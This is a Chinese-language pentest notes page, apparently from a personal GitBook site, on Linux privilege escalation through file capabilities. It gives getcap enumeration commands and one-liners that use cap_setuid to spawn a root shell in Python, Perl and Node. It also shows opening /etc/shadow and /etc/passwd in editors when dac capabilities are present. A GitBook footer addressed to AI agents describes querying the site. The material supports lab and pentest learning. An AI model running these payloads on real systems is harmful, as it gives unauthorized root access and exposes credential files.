> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md).

# Capabilities

Linux 能力将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力可以绕过普通用户限制。

## 方法

* 枚举文件能力并识别具有危险权限位的二进制文件。
* 检查 GTFOBins 和特定语言的有效载荷，寻找 shell、读取、写入或 setuid 滥用方式。
* 在尝试获取 root shell 之前，优先使用最小化验证命令。

## 快速检查

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## 危险能力示例

| 能力                       | 重要性                     |
| ------------------------ | ----------------------- |
| `cap_setuid+ep`          | 可使二进制切换到 UID 0。         |
| `cap_dac_read_search+ep` | 可绕过文件读取和目录搜索权限。         |
| `cap_dac_override+ep`    | 可绕过普通文件权限检查。            |
| `cap_sys_admin+ep`       | 范围非常广泛的能力，通常几乎等同于 root。 |
| `cap_setgid+ep`          | 可使二进制切换到特权组。            |

如果 Python 具有 `cap_setuid`，则最小化验证为：

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## 语言运行时示例

Python：

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl：

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js：

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID 示例：

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

读取/写入能力示例：

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

当存在能力时，可结合 GTFOBins 审查的其他解释型运行时：

```
ruby
php
lua
```

查看进程和可用能力：

```bash
capsh --print
capsh --print | grep cap_
```

设置能力需要 root，但这对实验室复现很有用：

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim 能力</h4></td><td>关于 Linux 提权的 Vim 能力说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/pages/eb5d57696756eaa5ee41793ba3a6429f24ac3172">/pages/eb5d57696756eaa5ee41793ba3a6429f24ac3172</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python 能力</h4></td><td>通过 cap_setuid 和 GTFOBins 有效载荷进行 Linux 提权的 Python 能力滥用。</td><td><a href="/pages/f0b1256bad6869a61d0e368697f44d892bb8671b">/pages/f0b1256bad6869a61d0e368697f44d892bb8671b</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar 能力</h4></td><td>关于 Linux 提权的能力（tarS 二进制）说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/pages/e8ba6fe187a7dcb5a49614f2c767d8b015d4d71d">/pages/e8ba6fe187a7dcb5a49614f2c767d8b015d4d71d</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl 能力</h4></td><td>关于 Linux 提权的能力（Perl）说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/pages/1397fe2c1af665eb9138e3b9b0ddd545805bac1b">/pages/1397fe2c1af665eb9138e3b9b0ddd545805bac1b</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac 能力</h4></td><td>关于 Linux 提权的能力（tac）说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/pages/031aaf17a4af43687ff60cc9b681ab0e1a958f7e">/pages/031aaf17a4af43687ff60cc9b681ab0e1a958f7e</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
